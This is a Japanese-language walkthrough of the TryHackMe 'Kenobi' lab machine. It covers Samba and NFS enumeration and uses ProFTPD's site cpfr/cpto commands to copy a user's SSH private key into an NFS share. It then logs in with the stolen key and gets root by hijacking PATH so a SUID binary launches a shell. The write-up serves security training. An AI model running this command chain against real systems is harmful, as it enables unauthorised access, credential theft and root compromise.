今回はTryHackMeのKenobiを攻略していきます。
スキャニング
いつもどおりnmapからやっていきます。
結果からFTP, SSH, HTTP, Samba, NFSのポートが空いていることがわかります。
nmap 10.10.94.162
Sambaの調査
まずはSambaから調べていきます。
nmapを使って、Sambaの共有ポイントを確認します。
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.94.162
実行結果からanonymousの共有ポイントがあることがわかりました。
anonymousに接続できそうですので、smbclientコマンドで共有ポイントに接続します。 接続後、どんなファイルがあるか確認してみます。
smbclient //10.10.94.162/anonymous
smb: \\> ls
lsコマンドの結果からlog.txtファイルがあることがわかります。
一度接続を切って、ファイルをすべてダウンロードします。
smbget -R smb://10.10.94.162/anonymous
ダウンロードしたlog.txtファイルの中身を確認していきます。 確認してわかったことは2つです。
/home/kenobi/.ssh/id_rsaファイルが存在する
proftpdはポート21で動いている
これでSambaからの調査は一通り終わりです。
NFSの調査
次にNFSの調査をしてみます。
NFSの共有ポイントをnmapを使って調査します。
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.94.162
/varが公開されていて接続可能なことがわかりました。
FTPの調査
今度はFTPを調査していきます。ftpに接続してみます。
nc 10.10.94.162 21
FTPで使われているソフトウェア名とバージョンが分かりました。
侵入
脆弱性を探すため、exploit-dbで検索します。
どのような脆弱性なのか、またどのように攻撃すればいいのか確認します。
site cpfrコマンド、site cptoコマンドを使ってファイルをコピーします。
先ほど鍵ファイルがあったのでそれを/varディレクトリ配下にコピーします。
nc 10.10.94.162 21
site cpfr /home/kenobi/.ssh/id_rsa
site cpto /var/tmp/id_rsa
コピーした鍵ファイルを取得するため、NFSを使ってマウントします。
mkdir /mnt/kenobiNFS
mount 10.10.94.162:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS
鍵ファイルをコピーします。
また使用できるように権限を変更します。
cp /mnt/kenobiNFS/tmp/id_rsa .
sudo chmod 600 id_rsa
コピーした鍵ファイルを使ってSSH接続を行います。
ssh -i id_rsa kenobi@10.10.94.162
接続後にユーザ名の確認を行います。
権限昇格
SUID ビットが設定されているファイルを検索します。
find / -perm -u=s -type f 2>/dev/null
このリストのうち、一般的でないコマンド、ファイルを探します。 そうすると/usr/bin/menu
がそれにあたります。
まずはこの見慣れないファイル(/usr/bin/menu
)を実行してみます。 そうすると3つの選択肢が表示されます。
このファイル(/usr/bin/menu)はバイナリファイルなので人間が読める文字列を確認するため、stringsコマンドを実行します。 これにより、人間が読める文字列のみを一覧表示できます。
strings /usr/bin/menu
stringsの結果を見ていくと、選択肢のそれぞれの処理は下記コマンドを実行していることがわかります。 またそれぞれがフルパスではないこともわかります。
curl -I localhost
uname -r
ifconfig
menuファイルのステータスを確認
このmenuファイルの所有者はrootであり、またSUIDビットが設定されており、かつ、ファイル内のcurl, uname, ifconfigといったコマンドはフルパスではないため、このコマンドのパスを操作することで別の処理を行わせることができそうです。
かわりとなるcurlファイルを作成します。
cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
最後にmenuを実行するとroot権限でシェルが立ち上がり、rootを取得することができました。
/usr/bin/menu
おわり。